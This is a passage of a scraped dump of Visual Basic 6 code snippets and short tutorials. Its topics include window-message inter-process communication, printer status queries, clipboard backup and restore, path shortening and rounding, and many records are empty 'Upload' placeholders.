_keypress events. \nAlso you need to call: \nSystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1, ByVal 0&, 0) \nso windows knows that it can load a screensaver again.\nNow to the source code!!!!"},{"WorldId":1,"id":26027,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27119,"LineNumber":1,"line":"Private Function ShortenPath(Path As String, MaxLen As Integer) As String\nDim bleh() As String\nbleh = Split(Path, \"\\\")\nFor x = 0 To UBound(bleh)\n If Not x = UBound(bleh) Then\n If Len(bleh(x)) > MaxLen Then\n bleh(x) = Mid$(bleh(x), 1, MaxLen - 3) & \"...\"\n End If\n tmp = tmp & bleh(x) & \"\\\"\n Else\n tmp = tmp & bleh(x)\n End If\nNext\nShortenPath = tmp\nEnd Function"},{"WorldId":1,"id":26903,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31836,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21066,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26157,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23752,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21094,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21195,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25169,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25171,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25173,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25176,"LineNumber":1,"line":"Right click on any selected folder and click rename.\n Put the following extension after a \".\" \n\nWindows Icon(Real Icon)\n{00021401-0000-0000-C000-000000000046}\n\nNetwork\n{208D2C60-3AEA-1069-A2D7-08002B30309D}\nMy Computer\n{20D04FE0-3AEA-1069-A2D8-08002B30309D}\nDesktop\n{9E56BE61-C50F-11CF-9A2C-00A0C90A90CE}\nInternet Explorer\n{FBF23B42-E3F0-101B-8488-00AA003E56F8}\nRecyclebin\n{645FF040-5081-101B-9F08-00AA002F954E}\nPowerpoint\n{64818D11-4F9B-11CF-86EA-00AA00B929E8}\nControl Panel Original\n{21EC2020-3AEA-1069-A2DD-08002B30309D}\n\nPrinters Original\n{2227A280-3AEA-1069-A2DE-08002B30309D}\nHTML document Original\n{25336920-03F9-11CF-8FD0-00AA00686F13}\nTask Shedule\n{255b3f60-829e-11cf-8d8b-00aa0060f5bf}\nAdobe Photoshop Image(Original)\n{119F01C5-E62B-11d2-AB3E-00C04FA3014E}\nWave File(Original)\n{0003000D-0000-0000-C000-000000000046}\nMovie Clip(Original)\n{00022602-0000-0000-C000-000000000046}\n"},{"WorldId":1,"id":25087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25106,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25058,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25092,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25093,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25785,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25786,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34398,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25190,"LineNumber":1,"line":"Public Function Round(Number As Variant, _\n Optional NumDigitsAfterDecimal As Long) As Variant\n If Not IsNumeric(Number) Then\n Round = Number\n Else\n Round = Fix(CDec(Number * (10 ^ NumDigitsAfterDecimal)) + 0.5 * Sgn(Number)) / _\n (10 ^ NumDigitsAfterDecimal)\n End If\nEnd Function"},{"WorldId":1,"id":27981,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21186,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22070,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21250,"LineNumber":1,"line":"Public Function MakeLight(frm As Form, originx As Integer, originy As Integer, radius As Integer, red As Integer, green As Integer, blue As Integer)\nFor tiltx = -0.5 To 0.5 Step 0.5 ' offset it a tad to get the pixels not colored\nFor tilty = -0.5 To 0.5 Step 0.5 ' offset it a tad to get the pixels not colored\nFor tempradius = 0 To radius Step 1 ' colors multiple circles with origins from the origin to origin + radius\nRandomize\ncirclecolor = Int(Rnd * (1 * (radius / 255))) + (tempradius / (radius / 255)) + 1 ' gets a random color in a specific range, give it the light effect\ncirclecolor = Abs(circlecolor - 255) ' inverts the colors from white outside to white inside\nfrm.Circle (originx + tiltx, originy + tilty), tempradius, RGB(circlecolor + red, circlecolor + green, circlecolor + blue) ' makes the circle\nNext tempradius\nNext tilty\nNext tiltx\nEnd Function\n"},{"WorldId":1,"id":28892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28348,"LineNumber":1,"line":"\n \n Inter process communication using registered messages from Visual Basic\n \n ┬áOne of the simplest ways to implement multi-tasking in Visual Basic is to create a seperate \n executable program to do each task and simply use the Shell command to run them as neccessary. The only problem with this is\n that once a program is running you need to communicate with it in order to control its operation. \n ┬áOne way of doing this is using the RegisterWindowMessage and SendMessage API calls to create your own particluar\n windows messages and to send them between windows thus allowing you to create two or more programs that communicate with each \n other. \n ┬áIn this example the server has the job of watching a printer queue and sending a message to every interested client whenever an event (job \n added, driver changed, job printed etc.) occurs.\n \n ┬á1. Specifying your own unique messages\n ┬áWindows communicate with each other by sending each other <a href=\"http://www.merrioncomputing.com/EventVB/WindowMessages.html\">standard\n windows messages</a> such as WM_CLOSE to close and terminate the window. \n ┬áThere are a large number of standard messages which cover most of the standard operations that can be performed by and to different windows. However if you want to implement your\n own custom communication you need to create your own custom messages. This is done with the RegisterWindowMessage API call:\n \n \n '\\\\ Declaration to register custom messages \n Private Declare Function RegisterWindowMessage Lib \"user32\" Alias \n ┬á┬á┬á \"RegisterWindowMessageA\" (ByVal lpString As String) As Long\n \n \n ┬áThis API call takes an unique string and registers it as a defined windows message, returning a system wide unique identifier for that message\n as a result. Thereafter any call to RegisterWindowMessage in any application that specifies the same string will return the same unique message id. \n ┬áBecause this value is constant during each session it is safe to store it in a global variable to speed up execution thus:\n \n \n Public Const MSG_CHANGENOTIFY = \"MCL_PRINT_NOTIFY\" \n \n Public Function WM_MCL_CHANGENOTIFY() As Long \n Static msg As Long \n \n If msg = 0 Then \n ┬á┬á┬ámsg = RegisterWindowMessage(MSG_CHANGENOTIFY) \n End If \n \n WM_MCL_CHANGENOTIFY = msg \n \n End Function \n \n ┬áSince this message needs to be known to every application that is using it to communicate, it is a good idea to put this into a shared \n code module common to all projects.\n \n ┬á2. Creating windows to listen for these messages\n ┬áTo create a window in Visual Basic you usually use the form designer and add a new form to your project. However, since our communications \n window has no visible component nor interaction with the user, this is a bit excessive. \n ┬áInstead we can use the CreateWindowEx API call to create a window solely for our communication:\n \n \n Private Declare Function CreateWindowEx Lib \"user32\" Alias \"CreateWindowExA\" \n ┬á┬á┬á(ByVal dwExStyle As Long, \n ┬á┬á┬áByVal lpClassName As String, '\\\\ The window class, e.g. \"STATIC\",\"BUTTON\" etc. \n ┬á┬á┬áByVal lpWindowName As String, '\\\\ The window's name (and caption if it has one) \n ┬á┬á┬áByVal dwStyle As Long, \n ┬á┬á┬áByVal x As Long, \n ┬á┬á┬áByVal y As Long, \n ┬á┬á┬áByVal nWidth As Long, \n ┬á┬á┬áByVal nHeight As Long, \n ┬á┬á┬áByVal hWndParent As Long, \n ┬á┬á┬áByVal hMenu As Long, \n ┬á┬á┬áByVal hInstance As Long, \n ┬á┬á┬álpParam As Any) As Long \n \n ┬áIf this call is successful, it returns an unique window handle which can be used to refer to that window. This can be used in SendMessage \n calls to send a message to it.\n \n ┬áIn a typical client/server communication you need to create one window for the client(s) and one window for the server. Again this can be done with a bit of code common to each application:\n \n \n Public Const WINDOWTITLE_CLIENT = \"Merrion Computing IPC - Client\" \n Public Const WINDOWTITLE_SERVER = \"Merrion Computing IPC - Server\" \n \n Public Function CreateCommunicationWindow(ByVal client As Boolean) As Long \n \n Dim hwndThis As Long \n Dim sWindowTitle As String \n \n If client Then \n ┬á┬á┬ásWindowTitle = WINDOWTITLE_CLIENT \n Else \n ┬á┬á┬ásWindowTitle = WINDOWTITLE_SERVER \n End If \n \n hwndThis = CreateWindowEx(0, \"STATIC\", sWindowTitle, 0, 0, 0, 0, 0, 0, 0, App.hInstance, ByVal 0&) \n \n CreateCommunicationWindow = hwndThis \n \n End Function \n \n ┬áObviously for your own applications you should use different text for the WINDOWTITLE_CLIENT and WINDOWTITLE_SERVER than above to ensure that your window names are unique.\n \n ┬á3. Processing the custom messages\n ┬áAs it stands you have a custom message and have created a window to which you can send that message. However, as this message is entirely new to windows it does not do anything when it recieves it. To actually process the message you need to <a href=\"http://www.merrioncomputing.com/OnlineIssue2.htm\">subclass</a> the window to intercept and react to the message yourself. \n ┬áTo subclass the window you create a procedure that processes windows messages and substitute this for the default message handling procedure of that window. Your procedure must have\n the same parameters and return type as the default window procedure:\n \n \n Private Declare Function CallWindowProc Lib \n \"user32\" Alias \"CallWindowProcA\" (ByVal lpPrevWndFunc \n As Long, ByVal hwnd As Long, ByVal msg As Long, ByVal\n wParam As Long, ByVal lParam As Long) As Long\n \n \n \n '\\\\ --[VB_WindowProc]----------------------- \n '\\\\ 'typedef LRESULT (CALLBACK* WNDPROC)(HWND, UINT, WPARAM, LPARAM); \n '\\\\ Parameters: \n '\\\\ hwnd - window handle receiving message \n '\\\\ wMsg - The window message (WM_..etc.) \n '\\\\ wParam - First message parameter \n '\\\\ lParam - Second message parameter \n\n Public Function VB_WindowProc(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long \n \n If wMsg = WM_MCL_CHANGENOTIFY Then \n ┬á┬á┬á'\\\\Respond to the custom message here \n \n Else \n ┬á┬á┬á'\\\\Pass the message to the previous window procedure to handle it \n ┬á┬á┬áVB_WindowProc = CallWindowProc(hOldProc, hwnd, wMsg, wParam, lParam) \n End If \n \n End Function \n \n You then need to inform Windows to substitute this procedure for the existing window procedure. To do this you call SetWindowLong to change the address \n of the procedure as stored in the GWL_WINDPROC index.\n \n \n Public Const GWL_WNDPROC = (-4) \n Public Declare Function SetWindowLongApi Lib \"user32\" Alias \"SetWindowLongA\" \n (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long \n \n '\\\\ Use (after creating the window...) \n hOldProc = SetWindowLongApi(hwndThis, GWL_WNDPROC, AddressOf VB_WindowProc) \n \n ┬áYou keep the address of the previous window procedure address in hOldProc in order to pass on all the messages that you don't deal with for \n default processing. It is a good idea to set the window procedure back to this address before closing the window.\n \n ┬á4. Sending the custom messages\n ┬áThere are two steps to sending the custom message to your server window: First you need to find the window handle of that window using the FindWindowEx API call then you need to send the message using the SendMessage API call.\n \n \n '\\\\ Declarations \n Public Declare Function SendMessageLong Lib \"user32\" Alias \"SendMessageA\" \n (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam \n As Long, ByVal lParam As Long) As Long \n Public Declare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (\n ByVal lpClassName As String, ByVal lpWindowName As String) As Long \n \n '\\\\ use.... \n Dim hwndTarget As Long \n \n hwndTarget = FindWindow(vbNullString, WINDOWTITLE_SERVER) \n \n If hwndTarget <> 0 Then \n ┬á┬á┬áCall SendMessageLong(hwnd_Server, WM_MCL_CHANGENOTIFY, 0,0) \n End If \n \n ┬áThis will send the WM_MCL_CHANGENOTIFY message to the server window and return when it has been processed.\n \n \n Source Code\n \n The complete source code for these examples is available for download <a href=\"http://groups.yahoo.com/group/MerrionComputing/files/PrintWatchClient.zip \n\">here</a> \n You will be asked to register with Yahoo!Groups in order to access it.\n \n "},{"WorldId":1,"id":29428,"LineNumber":1,"line":"Public Function SetDefaultPrinter(ByVal DeviceName As String) As Boolean\nDim prThis As Printer\nIf Printers.Count > 0 Then\n '\\\\ Iterate through all the installed printers\n For Each prThis In Printers\n '\\\\ If the desired one is found\n If prThis.DeviceName = DeviceName Then\n Set Printer = prThis\n SetDefaultPrinter = True\n '\\\\ Stop searching\n Exit For\n End If\n Next prThis\nEnd If\nEnd Function"},{"WorldId":1,"id":30390,"LineNumber":1,"line":" 1. What the Printer object missed\n Printing has long been a very problematic part of developing complete \n and professional applications in Visual Basic. This was redressed to a large degree with the new Printer \n object introduced in Visual Basic 4. \n However, there are shortcomings with this object. The biggest shortcoming is that you cannot find out whether \n the printer is ready, busy, out of paper etc. from your application. \n However, there is an API call, GetPrinter which returns a great deal more information about a printer.\n \n \n \n \n Private Declare Function GetPrinterApi Lib \"winspool.drv\" Alias _ \n \"GetPrinterA\" (ByVal hPrinter As Long, _ \n ByVal Level As Long, _ \n buffer As Long, _ \n ByVal pbSize As Long, _ \n pbSizeNeeded As Long) As Long\n \n \n This takes the handle to a printer in hPrinter and fills\n the buffer provided to it with information from the printer driver. To get the handle from the Printer object,\n you need to use the OpenPrinter API call. \n This handle must be released using the ClosePrinter API call as soon as you are finished with it.\n \n \n \n \n Private Type PRINTER_DEFAULTS \n pDatatype As String \n pDevMode As DEVMODE \n DesiredAccess As Long \n End Type \n \n Private Declare Function OpenPrinter Lib \"winspool.drv\" _ \n Alias \"OpenPrinterA\" (ByVal pPrinterName As String, _ \n phPrinter As Long, pDefault As PRINTER_DEFAULTS) As Long \n \n Private Declare Function ClosePrinter Lib \"winspool.drv\" _ \n (ByVal hPrinter As Long) As Long \n \n You pass the Printer.DeviceName to this to get the handle.\n \n \n \n \n Dim lret As Long \n Dim pDef As PRINTER_DEFAULTS \n \n lret = OpenPrinter(Printer.DeviceName, mhPrinter, pDef)\n \n \n 2. The different statuses\n There are a number of standard statuses that can be returned by the \n printer driver.\n \n \n \n \n Public Enum <a href=\"http://www.merrioncomputing.com/EventVB/Printer_Status.html\">Printer_Status</a> \n PRINTER_STATUS_READY = &H0 \n PRINTER_STATUS_PAUSED = &H1 \n PRINTER_STATUS_ERROR = &H2 PRINTER_STATUS_PENDING_DELETION =\n &H4 \n PRINTER_STATUS_PAPER_JAM = &H8 PRINTER_STATUS_PAPER_OUT =\n &H10 PRINTER_STATUS_MANUAL_FEED =\n &H20 PRINTER_STATUS_PAPER_PROBLEM =\n &H40 \n PRINTER_STATUS_OFFLINE = &H80 PRINTER_STATUS_IO_ACTIVE =\n &H100 PRINTER_STATUS_BUSY =\n &H200 \n PRINTER_STATUS_PRINTING = &H400 \n PRINTER_STATUS_OUTPUT_BIN_FULL = &H800 PRINTER_STATUS_NOT_AVAILABLE =\n &H1000 \n PRINTER_STATUS_WAITING = &H2000 PRINTER_STATUS_PROCESSING =\n &H4000 PRINTER_STATUS_INITIALIZING =\n &H8000 PRINTER_STATUS_WARMING_UP =\n &H10000 PRINTER_STATUS_TONER_LOW =\n &H20000 PRINTER_STATUS_NO_TONER =\n &H40000 PRINTER_STATUS_PAGE_PUNT =\n &H80000 PRINTER_STATUS_USER_INTERVENTION =\n &H100000 PRINTER_STATUS_OUT_OF_MEMORY =\n &H200000 PRINTER_STATUS_DOOR_OPEN =\n &H400000 PRINTER_STATUS_SERVER_UNKNOWN =\n &H800000 PRINTER_STATUS_POWER_SAVE =\n &H1000000 \n End Enum\n \n \n 3. The data structures\n \n \n As each printer driver is responsible for returning \n this data there has to be a standard to which this returned data conforms \n in order for one application to be able to query a number of different \n types of printers. As it happens, there are nine different standard data \n types that can be returned by the GetPrinter\n API call in Windows 2000 (only the first two are universal to all current versions of Windows). \n Of these, the second is the most interesting - named PRINTER_INFO_2 \n \n \n \n \n Private Type PRINTER_INFO_2 \n pServerName As String \n pPrinterName As String \n pShareName As String \n pPortName As String \n pDriverName As String \n pComment As String \n pLocation As String \n pDevMode As Long \n pSepFile As String \n pPrintProcessor As String \n pDatatype As String \n pParameters As String \n pSecurityDescriptor As Long \n Attributes As Long \n Priority As Long \n DefaultPriority As Long \n StartTime As Long \n UntilTime As Long \n Status As Long \n JobsCount As Long \n AveragePPM As Long \n End Type\n \n \n \n \n However, it is not as simple as just passing this structure to the GetPrinter API call as a printer can\n return more information than is in that structure and if you do not allocate sufficent buffer space for it to \n do so your application will crash. \n Fortunately the API call caters for this - if you pass zero in the pbSize parameter then the API call will\n tell you how big a buffer you will require in the pbSizeNeeded. \n This means that filling the information from the printer driver becomes a two step process:\n \n \n \n \n Dim lret As Long \n Dim SizeNeeded As Long \n \n Dim buffer() As Long \n \n ReDim Preserve buffer(0 To 1) As Long \n lret = GetPrinterApi(mhPrinter, Index, buffer(0), UBound(buffer), SizeNeeded) \n ReDim Preserve buffer(0 To (SizeNeeded / 4) + 3) As Long \n lret = GetPrinterApi(mhPrinter, Index, buffer(0), UBound(buffer) * 4, SizeNeeded) \n \n \n \n \n However the buffer is just an array of Long data types. Some of the data within the PRINTER_INFO_2 \n data structure is String data. This must be collected from the addresses which are stored in the appropriate\n buffer position. \n \n \n \n To get a string from a pointer the CopyMemory API call is used and there is also an API call,\n IsBadStringPtr, which can be used to verify that the address pointed to does actually contain a valid\n string.\n \n \n \n \n \n '\\\\ Memory manipulation routines \n Private Declare Sub CopyMemory Lib \"kernel32\" Alias \"RtlMoveMemory\" (Destination As Any, Source As Any, ByVal Length As Long) \n '\\\\ Pointer validation in StringFromPointer \n Private Declare Function IsBadStringPtrByLong Lib \"kernel32\" Alias \"IsBadStringPtrA\" (ByVal lpsz As Long, ByVal ucchMax As Long) As Long \n \n \n \n Retrieving the string from a pointer is a common thing to have to do so it is worth having this utility function\n in your arsenal.\n \n \n \n \n Public Function StringFromPointer(lpString As Long, lMaxLength As Long) As String \n \n Dim sRet As String \n Dim lret As Long \n \n If lpString = 0 Then \n StringFromPointer = \"\" \n Exit Function \n End If \n \n If IsBadStringPtrByLong(lpString, lMaxLength) Then \n '\\\\ An error has occured - do not attempt to use this pointer \n StringFromPointer = \"\" \n Exit Function \n End If \n \n '\\\\ Pre-initialise the return string... \n sRet = Space$(lMaxLength) \n CopyMemory ByVal sRet, ByVal lpString, ByVal Len(sRet) \n If Err.LastDllError = 0 Then \n If InStr(sRet, Chr$(0)) > 0 Then \n sRet = Left$(sRet, InStr(sRet, Chr$(0)) - 1) \n End If \n End If \n \n StringFromPointer = sRet \n \n End Function \n \n So to use this to populate your PRINTER_INFO_2 variable:\n \n \n With mPRINTER_INFO_2 '\\\\ This variable is of type PRINTER_INFO_2 \n .pServerName = StringFromPointer(buffer(0), 1024) \n .pPrinterName = StringFromPointer(buffer(1), 1024) \n .pShareName = StringFromPointer(buffer(2), 1024) \n .pPortName = StringFromPointer(buffer(3), 1024) \n .pDriverName = StringFromPointer(buffer(4), 1024) \n .pComment = StringFromPointer(buffer(5), 1024) \n .pLocation = StringFromPointer(buffer(6), 1024) \n .pDevMode = buffer(7) \n .pSepFile = StringFromPointer(buffer(8), 1024) \n .pPrintProcessor = StringFromPointer(buffer(9), 1024) \n .pDatatype = StringFromPointer(buffer(10), 1024) \n .pParameters = StringFromPointer(buffer(11), 1024) \n .pSecurityDescriptor = buffer(12) \n .Attributes = buffer(13) \n .Priority = buffer(14) \n .DefaultPriority = buffer(15) \n .StartTime = buffer(16) \n .UntilTime = buffer(17) \n .Status = buffer(18) \n .JobsCount = buffer(19) \n .AveragePPM = buffer(20) \n End With\n \n <IMG alt=\"Source code for this article to download\" src=\"../Images/source.gif\" align=middle >\n \n The complete source code for these examples is available for download <a href=\"http://groups.yahoo.com/group/MerrionComputing/files/PrintWatchClient.zip \n\">here</a> \n You will be asked to register with Yahoo!Groups in order to access it.\n \n "},{"WorldId":1,"id":31695,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24212,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25739,"LineNumber":1,"line":"(1) Use enumerated types wherever you can in your control's interface\n- When you create a property for your control, try to define it as an enumerated type wherever possible. Doing so allows the Visual Basic IDE to populate a listbox with the values and their description in the \"properties\" tab. Thus where the ImageMap control has a ControlMode property which says how the control is behaving, the property is implemented as an enumerated type:\n\n\n<PRE>\nPrivate Enum enControlMode\n cm_Runtime = 1 '\\\\ The control is in runtime mode\n cm_DesignTime_Selecting '\\\\ Control is design time but no ImageMapItem is selected\n cm_DesignTime_Selected '\\\\ Control is in design time and an ImageMapItem is selected\n cm_DesignTime_Drawing '\\\\ Control is drawing a new ImageMapItem\nEnd Enum\n</PRE>\n\n\nThis gives the developer more information about what the property is all about.\n\n(2) Use the \"Procedure Attributes\" screen to give extra information about your properties. Bringing up the procedure attributes screen to set extra information about your properties. In particular, pressing the \"Advanced >>>\" button brings up three drop down boxes - Procedure ID:, Use this page in property browser:, and Property Category:.\n(3) Fill the \"Description\" box of the \"Procedure Attributes\" box with a short but informative description. This information is displayed when that property is the currently selected one in the property browser widnow.\n"},{"WorldId":1,"id":26202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22740,"LineNumber":1,"line":"Public Function hiByte(ByVal w As Integer) As Byte\n If w And &H8000 Then\n hiByte = &H80 Or ((w And &H7FFF) \\ &HFF)\n Else\n hiByte = w \\ 256\n End If\nEnd Function\nPublic Function HiWord(dw As Long) As Integer\n If dw And &H80000000 Then\n HiWord = (dw \\ 65535) - 1\n Else\n HiWord = dw \\ 65535\n End If\nEnd Function\nPublic Function LoByte(w As Integer) As Byte\n LoByte = w And &HFF\nEnd Function\nPublic Function LoWord(dw As Long) As Integer\n If dw And &H8000& Then\n LoWord = &H8000 Or (dw And &H7FFF&)\n Else\n LoWord = dw And &HFFFF&\n End If\nEnd Function\nPublic Function MakeInt(ByVal LoByte As Byte, ByVal hiByte As Byte) As Integer\nMakeInt = ((hiByte * &H100) + LoByte)\nEnd Function\nPublic Function MakeLong(ByVal LoWord As Integer, ByVal HiWord As Integer) As Long\nMakeLong = ((HiWord * &H10000) + LoWord)\nEnd Function"},{"WorldId":1,"id":22024,"LineNumber":1,"line":"'\\\\ APIClipboard class ---------------------------\nOption Explicit\nPublic ParenthWnd As Long\nPrivate myMemory As ApiGlobalmemory\nPrivate mLastFormat As Long\nPublic Property Get BackedUp() As Boolean\n BackedUp = Not (myMemory Is Nothing)\n \nEnd Property\n'\\\\ --[Backup]------------------------------------------------------\n'\\\\ Makes an in-memory copy of the clipboard's contents so that they\n'\\\\ can be restored easily\n'\\\\ ----------------------------------------------------------------\nPublic Sub Backup()\nDim lRet As Long\nDim AllFormats As Collection\nDim lFormat As Long\n'\\\\ Need to get all the formats first...\nSet AllFormats = Me.ClipboardFormats\nlRet = OpenClipboard(ParenthWnd)\nIf Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Backup\", APIDispenser.LastSystemError)\nEnd If\nIf lRet Then\n If AllFormats.Count > 0 Then\n '\\\\ Get the first format that holds any data\n For lFormat = 0 To AllFormats.Count - 1\n lRet = GetClipboardData(lFormat)\n If lRet > 0 Then\n Set myMemory = New ApiGlobalmemory\n Call myMemory.CopyFromHandle(lRet)\n '\\\\ Keep a note of this format\n mLastFormat = lFormat\n Exit For\n End If\n 'clipboard\n Next lFormat\n End If\n lRet = CloseClipboard()\nEnd If\n\nEnd Sub\nPublic Property Get ClipboardFormats() As Collection\nDim lRet As Long\nDim colFormats As Collection\nlRet = OpenClipboard(ParenthWnd)\nIf Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Backup\", APIDispenser.LastSystemError)\nEnd If\nIf lRet > 0 Then\n Set colFormats = New Collection\n '\\\\ Get the first available format\n lRet = EnumClipboardFormats(0)\n If Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Backup\", APIDispenser.LastSystemError)\n End If\n While lRet > 0\n colFormats.Add lRet\n '\\\\ Get the next available format\n lRet = EnumClipboardFormats(lRet)\n If Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Backup\", APIDispenser.LastSystemError)\n End If\n Wend\n '\\\\ Close the clipboard object to make it available to other apps.\n lRet = CloseClipboard()\nEnd If\nSet ClipboardFormats = colFormats\nEnd Property\n'\\\\ --[Restore]-----------------------------------------------------\n'\\\\ Takes the in-memory copy of the clipboard object and restores it\n'\\\\ to the clipboard.\n'\\\\ ----------------------------------------------------------------\nPublic Sub Restore()\nDim lRet As Long\nIf Me.BackedUp Then\n lRet = OpenClipboard(ParenthWnd)\n If Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Restore\", APIDispenser.LastSystemError)\n End If\n If lRet Then\n myMemory.AllocationType = GMEM_FIXED\n lRet = SetClipboardData(mLastFormat, myMemory.Handle)\n myMemory.Free\n If Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Backup\", APIDispenser.LastSystemError)\n End If\n lRet = CloseClipboard()\n If Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Backup\", APIDispenser.LastSystemError)\n End If\n End If\nEnd If\nEnd Sub\nPublic Property Get Text() As String\nDim sRet As String\nIf Clipboard.GetFormat(vbCFText) Then\n sRet = Clipboard.GetText()\nEnd If\nEnd Property\nPrivate Sub Class_Initialize()\nEnd Sub\n\nPrivate Sub Class_Terminate()\nSet myMemory = Nothing\nEnd Sub\n\n'\\\\ APIGlobalmemory class ------------------------\nOption Explicit\nPrivate mMyData() As Byte\nPrivate mMyDataSize As Long\nPrivate mHmem As Long\n\nPrivate mAllocationType As enGlobalmemoryAllocationConstants\nPublic Property Let AllocationType(ByVal newType As enGlobalmemoryAllocationConstants)\nmAllocationType = newType\nEnd Property\nPublic Property Get AllocationType() As enGlobalmemoryAllocationConstants\n AllocationType = mAllocationType\n \nEnd Property\n\nPrivate Sub CopyDataToGlobal()\nDim lRet As Long\nIf mHmem > 0 Then\n lRet = GlobalLock(mHmem)\n If lRet > 0 Then\n Call CopyMemory(ByVal mHmem, mMyData(0), mMyDataSize)\n Call GlobalUnlock(mHmem)\n End If\nEnd If\nEnd Sub\nPublic Sub CopyFromHandle(ByVal hMemHandle As Long)\nDim lRet As Long\nDim lPtr As Long\nlRet = GlobalSize(hMemHandle)\nIf lRet > 0 Then\n mMyDataSize = lRet\n lPtr = GlobalLock(hMemHandle)\n If lPtr > 0 Then\n ReDim mMyData(0 To mMyDataSize - 1) As Byte\n CopyMemory mMyData(0), ByVal lPtr, mMyDataSize\n Call GlobalUnlock(hMemHandle)\n End If\nEnd If\nEnd Sub\nPublic Sub CopyToHandle(ByVal hMemHandle As Long)\nDim lSize As Long\nDim lPtr As Long\n'\\\\ Don't copy if its empty\nIf Not Me.IsEmpty Then\n lSize = GlobalSize(hMemHandle)\n '\\\\ Don't attempt to copy if zero size...\n If lSize > 0 Then\n If lPtr > 0 Then\n CopyMemory ByVal lPtr, mMyData(0), lSize\n Call GlobalUnlock(hMemHandle)\n End If\n End If\nEnd If\nEnd Sub\n\n'\\\\ --[Handle]------------------------------------------------------\n'\\\\ Returns a Global Memroy handle that is valid and filled with the\n'\\\\ info held in this object's private byte array\n'\\\\ ----------------------------------------------------------------\nPublic Property Get Handle() As Long\nIf mHmem = 0 Then\n If mMyDataSize > 0 Then\n mHmem = GlobalAlloc(AllocationType, mMyDataSize)\n End If\nEnd If\nCall CopyDataToGlobal\nHandle = mHmem\nEnd Property\nPublic Property Get IsEmpty() As Boolean\n IsEmpty = (mMyDataSize = 0)\nEnd Property\nPublic Sub Free()\nIf mHmem > 0 Then\n Call GlobalFree(mHmem)\n mHmem = 0\n mMyDataSize = 0\n ReDim mMyData(0) As Byte\nEnd If\nEnd Sub\nPrivate Sub Class_Terminate()\nIf mHmem > 0 Then\n Call GlobalFree(mHmem)\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":22003,"LineNumber":1,"line":"Private Sub DebugNote(ByVal DebugString As String)\nIf IsDebuggerPresent Then\n Call OutputDebugString(DebugString)\nEnd If\nEnd Sub"},{"WorldId":1,"id":22127,"LineNumber":1,"line":"Public Sub DisplayDocumentDefaults(ByVal PrinterName As String, ByVal hWnd As Long)\nDim lRet As Long\n'\\\\ Only version 4.71 and above have this :. jump over error\nOn Error Resume Next\nlRet = 